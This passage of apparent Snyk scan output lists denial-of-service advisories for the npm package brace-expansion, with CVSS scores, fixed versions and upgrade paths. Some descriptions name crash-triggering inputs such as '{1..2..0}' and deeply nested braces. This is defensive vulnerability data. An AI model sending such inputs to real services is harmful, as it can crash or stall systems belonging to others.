"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
